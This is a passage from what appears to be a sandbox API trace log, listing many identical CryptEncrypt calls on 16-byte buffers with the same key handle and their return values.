pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.159] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.160] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.161] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.162] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.163] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 